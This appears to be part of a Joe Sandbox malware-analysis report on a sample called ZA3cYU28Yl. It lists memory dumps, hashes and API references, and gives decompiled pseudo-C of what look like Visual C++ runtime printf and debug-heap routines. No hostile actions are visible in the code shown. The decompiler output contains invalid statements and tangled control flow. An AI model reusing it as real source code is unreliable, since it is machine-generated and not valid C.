Associated: 00000001.00000002.282945954.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282950841.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ZA3cYU28Yl.jbxd

Similarity

API ID: __invoke_watson_if_oneof__isctype_l_swprintf_s
String ID: %.2X $(*_errno())$_printMemBlockData$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c
API String ID: 4289034949-3158630120
Opcode ID: e46008a0ab6fb811eed335e710d919e7e4e3c017f1531206f30aad4bb366cdc1
Instruction ID: effa8d3ba61e43e6778ac7d8f262000249a784eef396c782d223100d0fc71d55
Opcode Fuzzy Hash: e46008a0ab6fb811eed335e710d919e7e4e3c017f1531206f30aad4bb366cdc1
Instruction Fuzzy Hash: AC31A6B0E04358EFDB08DFA5CA81AED7772AF55304F20415AE4066F282D7B89A45DB58

Uniqueness

Uniqueness Score: -1.00%

Function 00428E91, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 69fileCOMMON

Download Yara Rule

APIs

__set_error_mode.LIBCMTD ref: 00428EF8
__set_error_mode.LIBCMTD ref: 00428F07
GetStdHandle.KERNEL32(000000F4), ref: 00428F1E
_strlen.LIBCMT ref: 00428F44
WriteFile.KERNEL32(000000FF,00000000,00000000,00000000), ref: 00428F5C

Strings

jjj, xrefs: 00428EE0
t/j, xrefs: 00428F31

Memory Dump Source

Source File: 00000001.00000002.282871844.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.282862446.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.282935357.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282945954.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282950841.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ZA3cYU28Yl.jbxd

Similarity

API ID: __set_error_mode$FileHandleWrite_strlen
String ID: jjj$t/j
API String ID: 1121076223-194299851
Opcode ID: 73c4a380c0ed57a62498845dc5d0fb404ca6bf7d6c82d16b282917c6e0348ac1
Instruction ID: 9c4b4cf3302d5800ff5f31a2e51895258d8c11a45413bf91618ffae790852e0e
Opcode Fuzzy Hash: 73c4a380c0ed57a62498845dc5d0fb404ca6bf7d6c82d16b282917c6e0348ac1
Instruction Fuzzy Hash: 0921F874A01228FFEB24CB48FA45B6E7370EB14304F94426EE506A32A2D7799E50DF4D

Uniqueness

Uniqueness Score: -1.00%

Function 004279C8, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 104
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E004279C8() {
				signed int _t478;
				signed int _t524;

				L0:
				while(1) {
					L0:
					 *((intOrPtr*)(_t524 - 0x260)) = 0x27;
					while(1) {
						L139:
						 *(__ebp - 8) = 0x10;
						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
						__eflags =  *(__ebp - 0x10) & 0x00000080;
						if(( *(__ebp - 0x10) & 0x00000080) != 0) {
							 *(__ebp - 0x14) = 0x30;
							 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
							__eflags =  *(__ebp - 0x260) + 0x51;
							 *((char*)(__ebp - 0x13)) = __al;
							 *(__ebp - 0x1c) = 2;
						}
						while(1) {
							L144:
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
							__eflags =  *(__ebp - 0x10) & 0x00008000;
							if(( *(__ebp - 0x10) & 0x00008000) == 0) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
								__eflags =  *(__ebp - 0x10) & 0x00001000;
								if(( *(__ebp - 0x10) & 0x00001000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
									__eflags =  *(__ebp - 0x10) & 0x00000020;
									if(( *(__ebp - 0x10) & 0x00000020) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
										__eflags =  *(__ebp - 0x10) & 0x00000040;
										if(( *(__ebp - 0x10) & 0x00000040) == 0) {
											__ecx = __ebp + 0x14;
											__eax = E00428150(__ebp + 0x14);
											__edx = 0;
											__eflags = 0;
											 *(__ebp - 0x2b0) = __eax;
											 *(__ebp - 0x2ac) = 0;
										} else {
											__eax = __ebp + 0x14;
											__eax = E00428150(__ebp + 0x14);
											asm("cdq");
											 *(__ebp - 0x2b0) = __eax;
											 *(__ebp - 0x2ac) = __edx;
										}
									} else {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
										__eflags =  *(__ebp - 0x10) & 0x00000040;
										if(( *(__ebp - 0x10) & 0x00000040) == 0) {
											__ecx = __ebp + 0x14;
											E00428150(__ebp + 0x14) = __ax & 0x0000ffff;
											asm("cdq");
											 *(__ebp - 0x2b0) = __ax & 0x0000ffff;
											 *(__ebp - 0x2ac) = __edx;
										} else {
											__eax = __ebp + 0x14;
											__eax = E00428150(__ebp + 0x14);
											__ax = __eax;
											asm("cdq");
											 *(__ebp - 0x2b0) = __eax;
											 *(__ebp - 0x2ac) = __edx;
										}
									}
								} else {
									__eax = __ebp + 0x14;
									 *(__ebp - 0x2b0) = E00428170(__ebp + 0x14);
									 *(__ebp - 0x2ac) = __edx;
								}
							} else {
								__ecx = __ebp + 0x14;
								 *(__ebp - 0x2b0) = E00428170(__ebp + 0x14);
								 *(__ebp - 0x2ac) = __edx;
							}
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
							__eflags =  *(__ebp - 0x10) & 0x00000040;
							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
								goto L161;
							}
							L157:
							__eflags =  *(__ebp - 0x2ac);
							if(__eflags > 0) {
								goto L161;
							}
							L158:
							if(__eflags < 0) {
								L160:
								 *(__ebp - 0x2b0) =  ~( *(__ebp - 0x2b0));
								__edx =  *(__ebp - 0x2ac);
								asm("adc edx, 0x0");
								__edx =  ~( *(__ebp - 0x2ac));
								 *(__ebp - 0x2b8) =  ~( *(__ebp - 0x2b0));
								 *(__ebp - 0x2b4) =  ~( *(__ebp - 0x2ac));
								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
								L162:
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
								__eflags =  *(__ebp - 0x10) & 0x00008000;
								if(( *(__ebp - 0x10) & 0x00008000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
									__eflags =  *(__ebp - 0x10) & 0x00001000;
									if(( *(__ebp - 0x10) & 0x00001000) == 0) {
										__edx =  *(__ebp - 0x2b8);
										__eax =  *(__ebp - 0x2b4);
										__eax =  *(__ebp - 0x2b4) & 0x00000000;
										__eflags = __eax;
										 *(__ebp - 0x2b4) = __eax;
									}
								}
								__eflags =  *(__ebp - 0x30);
								if( *(__ebp - 0x30) >= 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
									__eflags =  *(__ebp - 0x30) - 0x200;
									if( *(__ebp - 0x30) > 0x200) {
										 *(__ebp - 0x30) = 0x200;
									}
								} else {
									 *(__ebp - 0x30) = 1;
								}
								 *(__ebp - 0x2b8) =  *(__ebp - 0x2b8) |  *(__ebp - 0x2b4);
								__eflags =  *(__ebp - 0x2b8) |  *(__ebp - 0x2b4);
								if(( *(__ebp - 0x2b8) |  *(__ebp - 0x2b4)) == 0) {
									 *(__ebp - 0x1c) = 0;
								}
								__eax = __ebp - 0x49;
								 *(__ebp - 4) = __ebp - 0x49;
								while(1) {
									L172:
									__ecx =  *(__ebp - 0x30);
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) > 0) {
										goto L174;
									}
									L173:
									 *(__ebp - 0x2b8) =  *(__ebp - 0x2b8) |  *(__ebp - 0x2b4);
									__eflags =  *(__ebp - 0x2b8) |  *(__ebp - 0x2b4);
									if(( *(__ebp - 0x2b8) |  *(__ebp - 0x2b4)) == 0) {
										L177:
										__ebp - 0x49 = __ebp - 0x49 -  *(__ebp - 4);
										 *(__ebp - 0x24) = __ebp - 0x49 -  *(__ebp - 4);
										__ecx =  *(__ebp - 4);
										__ecx =  *(__ebp - 4) + 1;
										 *(__ebp - 4) = __ecx;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
										__eflags =  *(__ebp - 0x10) & 0x00000200;
										if(( *(__ebp - 0x10) & 0x00000200) == 0) {
											while(1) {
												L181:
												__eflags =  *(__ebp - 0x28);
												if( *(__ebp - 0x28) != 0) {
													goto L207;
												}
												L182:
												 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
												__eflags =  *(__ebp - 0x10) & 0x00000040;
												if(( *(__ebp - 0x10) & 0x00000040) != 0) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000100;
													__eflags =  *(__ebp - 0x10) & 0x00000100;
													if(( *(__ebp - 0x10) & 0x00000100) == 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000001;
														__eflags =  *(__ebp - 0x10) & 0x00000001;
														if(( *(__ebp - 0x10) & 0x00000001) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000002;
															__eflags =  *(__ebp - 0x10) & 0x00000002;
															if(( *(__ebp - 0x10) & 0x00000002) != 0) {
																 *(__ebp - 0x14) = 0x20;
																 *(__ebp - 0x1c) = 1;
															}
														} else {
															 *(__ebp - 0x14) = 0x2b;
															 *(__ebp - 0x1c) = 1;
														}
													} else {
														 *(__ebp - 0x14) = 0x2d;
														 *(__ebp - 0x1c) = 1;
													}
												}
												 *(__ebp - 0x18) =  *(__ebp - 0x18) -  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
												 *(__ebp - 0x2bc) =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x0000000c;
												__eflags =  *(__ebp - 0x10) & 0x0000000c;
												if(( *(__ebp - 0x10) & 0x0000000c) == 0) {
													__edx = __ebp - 0x24c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x2bc);
													__eax = E00428080(0x20,  *(__ebp - 0x2bc),  *(__ebp + 8), __ebp - 0x24c);
												}
												__edx = __ebp - 0x24c;
												__eax =  *(__ebp + 8);
												__ecx =  *(__ebp - 0x1c);
												__edx = __ebp - 0x14;
												E004280C0( *(__ebp - 0x1c), __ebp - 0x14,  *(__ebp - 0x1c),  *(__ebp + 8), __ebp - 0x24c) =  *(__ebp - 0x10);
												__eax =  *(__ebp - 0x10) & 0x00000008;
												__eflags =  *(__ebp - 0x10) & 0x00000008;
												if(( *(__ebp - 0x10) & 0x00000008) != 0) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
													__eflags =  *(__ebp - 0x10) & 0x00000004;
													if(( *(__ebp - 0x10) & 0x00000004) == 0) {
														__edx = __ebp - 0x24c;
														__eax =  *(__ebp + 8);
														__ecx =  *(__ebp - 0x2bc);
														__eax = E00428080(0x30,  *(__ebp - 0x2bc),  *(__ebp + 8), __ebp - 0x24c);
													}
												}
												__eflags =  *(__ebp - 0xc);
												if( *(__ebp - 0xc) == 0) {
													L203:
													__ecx = __ebp - 0x24c;
													__edx =  *(__ebp + 8);
													__eax =  *(__ebp - 0x24);
													__ecx =  *(__ebp - 4);
													__eax = E004280C0(__ecx, __ecx,  *(__ebp - 0x24),  *(__ebp + 8), __ebp - 0x24c);
													goto L204;
												} else {
													L195:
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) <= 0) {
														goto L203;
													}
													L196:
													 *(__ebp - 0x2d4) = 0;
													__edx =  *(__ebp - 4);
													 *(__ebp - 0x2c0) =  *(__ebp - 4);
													__eax =  *(__ebp - 0x24);
													 *(__ebp - 0x2c4) =  *(__ebp - 0x24);
													while(1) {
														L197:
														__ecx =  *(__ebp - 0x2c4);
														 *(__ebp - 0x2c4) =  *(__ebp - 0x2c4) - 1;
														 *(__ebp - 0x2c4) =  *(__ebp - 0x2c4) - 1;
														__eflags = __ecx;
														if(__ecx == 0) {
															break;
														}
														L198:
														__eax =  *(__ebp - 0x2c0);
														 *(__ebp - 0x316) =  *( *(__ebp - 0x2c0));
														__edx =  *(__ebp - 0x316) & 0x0000ffff;
														__eax = __ebp - 0x2d0;
														__ecx = __ebp - 0x2c8;
														 *(__ebp - 0x2d4) = E00434010(__ebp - 0x2c8, __ebp - 0x2d0, 6,  *(__ebp - 0x316) & 0x0000ffff);
														 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) + 2;
														 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) + 2;
														__eflags =  *(__ebp - 0x2d4);
														if( *(__ebp - 0x2d4) != 0) {
															L200:
															 *(__ebp - 0x24c) = 0xffffffff;
															break;
														}
														L199:
														__eflags =  *(__ebp - 0x2c8);
														if( *(__ebp - 0x2c8) != 0) {
															L201:
															__eax = __ebp - 0x24c;
															__ecx =  *(__ebp + 8);
															__edx =  *(__ebp - 0x2c8);
															__ebp - 0x2d0 = E004280C0( *(__ebp + 8), __ebp - 0x2d0,  *(__ebp - 0x2c8),  *(__ebp + 8), __ebp - 0x24c);
															continue;
														}
														goto L200;
													}
													L202:
													L204:
													__eflags =  *(__ebp - 0x24c);
													if( *(__ebp - 0x24c) >= 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
														__eflags =  *(__ebp - 0x10) & 0x00000004;
														if(( *(__ebp - 0x10) & 0x00000004) != 0) {
															__eax = __ebp - 0x24c;
															__ecx =  *(__ebp + 8);
															__edx =  *(__ebp - 0x2bc);
															__eax = E00428080(0x20,  *(__ebp - 0x2bc),  *(__ebp + 8), __ebp - 0x24c);
														}
													}
												}
												L207:
												__eflags =  *(__ebp - 0x20);
												if( *(__ebp - 0x20) != 0) {
													 *(__ebp - 0x20) = L0041C1C0( *(__ebp - 0x20), 2);
													 *(__ebp - 0x20) = 0;
												}
												while(1) {
													L209:
													 *(_t524 - 0x251) =  *((intOrPtr*)( *((intOrPtr*)(_t524 + 0xc))));
													 *((intOrPtr*)(_t524 + 0xc)) =  *((intOrPtr*)(_t524 + 0xc)) + 1;
													if( *(_t524 - 0x251) == 0 ||  *(_t524 - 0x24c) < 0) {
														break;
													} else {
														if( *(_t524 - 0x251) < 0x20 ||  *(_t524 - 0x251) > 0x78) {
															 *(_t524 - 0x2fc) = 0;
														} else {
															 *(_t524 - 0x2fc) =  *( *(_t524 - 0x251) + 0x404430) & 0x0000000f;
														}
													}
													L7:
													 *(_t524 - 0x250) =  *(_t524 - 0x2fc);
													_t19 =  *(_t524 - 0x250) * 8; // 0x6000006
													 *(_t524 - 0x25c) =  *( *(_t524 - 0x25c) + _t19 + 0x404450) >> 4;
													 *(_t524 - 0x300) =  *(_t524 - 0x25c);
													if( *(_t524 - 0x300) > 7) {
														continue;
													}
													L8:
													switch( *((intOrPtr*)( *(_t524 - 0x300) * 4 +  &M00427ED8))) {
														case 0:
															L9:
															 *(_t524 - 0xc) = 0;
															_t483 = E00431000( *(_t524 - 0x251) & 0x000000ff, E0041AAD0(_t524 - 0x40));
															_t528 = _t526 + 8;
															if(_t483 == 0) {
																L15:
																E00427FE0( *(_t524 - 0x251) & 0x000000ff,  *(_t524 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t524 + 8)), _t524 - 0x24c);
																_t526 = _t528 + 0xc;
																goto L209;
															} else {
																E00427FE0( *((intOrPtr*)(_t524 + 8)),  *(_t524 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t524 + 8)), _t524 - 0x24c);
																_t528 = _t528 + 0xc;
																_t509 =  *((intOrPtr*)( *((intOrPtr*)(_t524 + 0xc))));
																 *(_t524 - 0x251) =  *((intOrPtr*)( *((intOrPtr*)(_t524 + 0xc))));
																_t513 =  *((intOrPtr*)(_t524 + 0xc)) + 1;
																 *((intOrPtr*)(_t524 + 0xc)) = _t513;
																asm("sbb eax, eax");
																 *(_t524 - 0x278) =  ~( ~( *(_t524 - 0x251)));
																if(_t513 == 0) {
																	_push(L"(ch != _T(\'\\0\'))");
																	_push(0);
																	_push(0x486);
																	_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																	_push(2);
																	_t495 = L0041E000();
																	_t528 = _t528 + 0x14;
																	if(_t495 == 1) {
																		asm("int3");
																	}
																}
																L13:
																if( *(_t524 - 0x278) != 0) {
																	goto L15;
																} else {
																	 *((intOrPtr*)(L00422AF0(_t509))) = 0x16;
																	E00422880(_t497, _t509, _t522, _t523, L"(ch != _T(\'\\0\'))", L"_output_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																	 *(_t524 - 0x2e4) = 0xffffffff;
																	E0041AAA0(_t524 - 0x40);
																	_t478 =  *(_t524 - 0x2e4);
																	goto L211;
																}
															}
														case 1:
															L16:
															 *(__ebp - 0x2c) = 0;
															__edx =  *(__ebp - 0x2c);
															 *(__ebp - 0x28) =  *(__ebp - 0x2c);
															__eax =  *(__ebp - 0x28);
															 *(__ebp - 0x18) =  *(__ebp - 0x28);
															__ecx =  *(__ebp - 0x18);
															 *(__ebp - 0x1c) = __ecx;
															 *(__ebp - 0x10) = 0;
															 *(__ebp - 0x30) = 0xffffffff;
															 *(__ebp - 0xc) = 0;
															goto L209;
														case 2:
															L17:
															__edx =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x304) =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x304) =  *(__ebp - 0x304) - 0x20;
															 *(__ebp - 0x304) =  *(__ebp - 0x304) - 0x20;
															__eflags =  *(__ebp - 0x304) - 0x10;
															if( *(__ebp - 0x304) > 0x10) {
																goto L24;
															}
															L18:
															__ecx =  *(__ebp - 0x304);
															_t63 = __ecx + 0x427f10; // 0x498d04
															__edx =  *_t63 & 0x000000ff;
															switch( *((intOrPtr*)(( *_t63 & 0x000000ff) * 4 +  &M00427EF8))) {
																case 0:
																	goto L21;
																case 1:
																	goto L22;
																case 2:
																	goto L20;
																case 3:
																	goto L19;
																case 4:
																	goto L23;
																case 5:
																	goto L24;
															}
														case 3:
															L25:
															__edx =  *((char*)(__ebp - 0x251));
															__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
															if( *((char*)(__ebp - 0x251)) != 0x2a) {
																__eax =  *(__ebp - 0x18);
																__eax =  *(__ebp - 0x18) * 0xa;
																__eflags = __eax;
																__ecx =  *((char*)(__ebp - 0x251));
																_t87 = __ecx - 0x30; // -48
																__edx = __eax + _t87;
																 *(__ebp - 0x18) = __eax + _t87;
															} else {
																__eax = __ebp + 0x14;
																 *(__ebp - 0x18) = E00428150(__ebp + 0x14);
																__eflags =  *(__ebp - 0x18);
																if( *(__ebp - 0x18) < 0) {
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00000004;
																	__eflags = __ecx;
																	 *(__ebp - 0x10) = __ecx;
																	 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																	 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																}
															}
															L30:
															goto L209;
														case 4:
															L31:
															 *(__ebp - 0x30) = 0;
															goto L209;
														case 5:
															L32:
															__eax =  *((char*)(__ebp - 0x251));
															__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
															if( *((char*)(__ebp - 0x251)) != 0x2a) {
																__edx =  *(__ebp - 0x30);
																__edx =  *(__ebp - 0x30) * 0xa;
																__eflags = __edx;
																_t98 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																__ecx = __edx + _t98;
																 *(__ebp - 0x30) = __ecx;
															} else {
																__ecx = __ebp + 0x14;
																 *(__ebp - 0x30) = E00428150(__ebp + 0x14);
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) < 0) {
																	 *(__ebp - 0x30) = 0xffffffff;
																}
															}
															goto L209;
														case 6:
															L38:
															__edx =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x308) =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x308) =  *(__ebp - 0x308) - 0x49;
															 *(__ebp - 0x308) =  *(__ebp - 0x308) - 0x49;
															__eflags =  *(__ebp - 0x308) - 0x2e;
															if( *(__ebp - 0x308) > 0x2e) {
																L61:
																goto L209;
															}
															L39:
															__ecx =  *(__ebp - 0x308);
															_t106 = __ecx + 0x427f38; // 0x77ef9003
															__edx =  *_t106 & 0x000000ff;
															switch( *((intOrPtr*)(( *_t106 & 0x000000ff) * 4 +  &M00427F24))) {
																case 0:
																	L44:
																	__edx =  *(__ebp + 0xc);
																	__eax =  *( *(__ebp + 0xc));
																	__eflags =  *( *(__ebp + 0xc)) - 0x36;
																	if( *( *(__ebp + 0xc)) != 0x36) {
																		L47:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *( *(__ebp + 0xc));
																		__eflags =  *( *(__ebp + 0xc)) - 0x33;
																		if( *( *(__ebp + 0xc)) != 0x33) {
																			L50:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc));
																			__eflags =  *( *(__ebp + 0xc)) - 0x64;
																			if( *( *(__ebp + 0xc)) == 0x64) {
																				L56:
																				L58:
																				goto L61;
																			}
																			L51:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *__ecx;
																			__eflags =  *__ecx - 0x69;
																			if( *__ecx == 0x69) {
																				goto L56;
																			}
																			L52:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc));
																			__eflags = __ecx - 0x6f;
																			if(__ecx == 0x6f) {
																				goto L56;
																			}
																			L53:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc));
																			__eflags =  *( *(__ebp + 0xc)) - 0x75;
																			if( *( *(__ebp + 0xc)) == 0x75) {
																				goto L56;
																			}
																			L54:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *__ecx;
																			__eflags =  *__ecx - 0x78;
																			if( *__ecx == 0x78) {
																				goto L56;
																			}
																			L55:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc));
																			__eflags = __ecx - 0x58;
																			if(__ecx != 0x58) {
																				 *(__ebp - 0x25c) = 0;
																				goto L9;
																			}
																			goto L56;
																		}
																		L48:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *((char*)(__ecx + 1));
																		__eflags =  *((char*)(__ecx + 1)) - 0x32;
																		if( *((char*)(__ecx + 1)) != 0x32) {
																			goto L50;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																			 *(__ebp - 0x10) = __ecx;
																			goto L58;
																		}
																	}
																	L45:
																	__ecx =  *(__ebp + 0xc);
																	__edx =  *((char*)(__ecx + 1));
																	__eflags =  *((char*)(__ecx + 1)) - 0x34;
																	if( *((char*)(__ecx + 1)) != 0x34) {
																		goto L47;
																	} else {
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00008000;
																		 *(__ebp - 0x10) = __ecx;
																		goto L58;
																	}
																case 1:
																	L59:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																	goto L61;
																case 2:
																	L40:
																	__eax =  *(__ebp + 0xc);
																	__ecx =  *( *(__ebp + 0xc));
																	__eflags = __ecx - 0x6c;
																	if(__ecx != 0x6c) {
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000010;
																		__eflags = __ecx;
																		 *(__ebp - 0x10) = __ecx;
																	} else {
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																	}
																	goto L61;
																case 3:
																	L60:
																	__eax =  *(__ebp - 0x10);
																	__eax =  *(__ebp - 0x10) | 0x00000800;
																	__eflags = __eax;
																	 *(__ebp - 0x10) = __eax;
																	goto L61;
																case 4:
																	goto L61;
															}
														case 7:
															L62:
															__ecx =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x30c) = __ecx;
															 *(__ebp - 0x30c) =  *(__ebp - 0x30c) - 0x41;
															 *(__ebp - 0x30c) =  *(__ebp - 0x30c) - 0x41;
															__eflags =  *(__ebp - 0x30c) - 0x37;
															if( *(__ebp - 0x30c) > 0x37) {
																while(1) {
																	L181:
																	__eflags =  *(__ebp - 0x28);
																	if( *(__ebp - 0x28) != 0) {
																		goto L207;
																	}
																	goto L182;
																}
															}
															L63:
															_t147 =  *(__ebp - 0x30c) + 0x427fa4; // 0xcccccc0d
															__ecx =  *_t147 & 0x000000ff;
															switch( *((intOrPtr*)(__ecx * 4 +  &M00427F68))) {
																case 0:
																	L114:
																	 *(__ebp - 0x2c) = 1;
																	__ecx =  *((char*)(__ebp - 0x251));
																	__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																	__eflags = __ecx;
																	 *((char*)(__ebp - 0x251)) = __cl;
																	goto L115;
																case 1:
																	L64:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																	__eflags =  *(__ebp - 0x10) & 0x00000830;
																	if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																		__eax =  *(__ebp - 0x10);
																		__eax =  *(__ebp - 0x10) | 0x00000800;
																		__eflags = __eax;
																		 *(__ebp - 0x10) = __eax;
																	}
																	goto L66;
																case 2:
																	L79:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																	__eflags =  *(__ebp - 0x10) & 0x00000830;
																	if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000800;
																		__eflags = __ecx;
																		 *(__ebp - 0x10) = __ecx;
																	}
																	goto L81;
																case 3:
																	L138:
																	 *(__ebp - 0x260) = 7;
																	L139:
																	 *(__ebp - 8) = 0x10;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																	__eflags =  *(__ebp - 0x10) & 0x00000080;
																	if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																		 *(__ebp - 0x14) = 0x30;
																		 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
																		__eflags =  *(__ebp - 0x260) + 0x51;
																		 *((char*)(__ebp - 0x13)) = __al;
																		 *(__ebp - 0x1c) = 2;
																	}
																	goto L144;
																case 4:
																	L72:
																	__eax = __ebp + 0x14;
																	 *(__ebp - 0x284) = E00428150(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x284);
																	if( *(__ebp - 0x284) == 0) {
																		L74:
																		__edx =  *0x440f80; // 0x404448
																		 *(__ebp - 4) = __edx;
																		__eax =  *(__ebp - 4);
																		 *(__ebp - 0x24) = E0041DAA0( *(__ebp - 4));
																		L78:
																		goto L181;
																	}
																	L73:
																	__ecx =  *(__ebp - 0x284);
																	__eflags =  *(__ecx + 4);
																	if( *(__ecx + 4) != 0) {
																		L75:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																		__eflags =  *(__ebp - 0x10) & 0x00000800;
																		if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																			 *(__ebp - 0xc) = 0;
																			__edx =  *(__ebp - 0x284);
																			__eax =  *(__edx + 4);
																			 *(__ebp - 4) =  *(__edx + 4);
																			__ecx =  *(__ebp - 0x284);
																			__edx =  *__ecx;
																			 *(__ebp - 0x24) =  *__ecx;
																		} else {
																			__edx =  *(__ebp - 0x284);
																			__eax =  *(__edx + 4);
																			 *(__ebp - 4) =  *(__edx + 4);
																			__ecx =  *(__ebp - 0x284);
																			__eax =  *__ecx;
																			asm("cdq");
																			 *__ecx - __edx =  *__ecx - __edx >> 1;
																			 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																			 *(__ebp - 0xc) = 1;
																		}
																		goto L78;
																	}
																	goto L74;
																case 5:
																	L115:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	__eax = __ebp - 0x248;
																	 *(__ebp - 4) = __ebp - 0x248;
																	 *(__ebp - 0x44) = 0x200;
																	__eflags =  *(__ebp - 0x30);
																	if( *(__ebp - 0x30) >= 0) {
																		L117:
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) != 0) {
																			L120:
																			__eflags =  *(__ebp - 0x30) - 0x200;
																			if( *(__ebp - 0x30) > 0x200) {
																				 *(__ebp - 0x30) = 0x200;
																			}
																			L122:
																			__eflags =  *(__ebp - 0x30) - 0xa3;
																			if( *(__ebp - 0x30) > 0xa3) {
																				 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
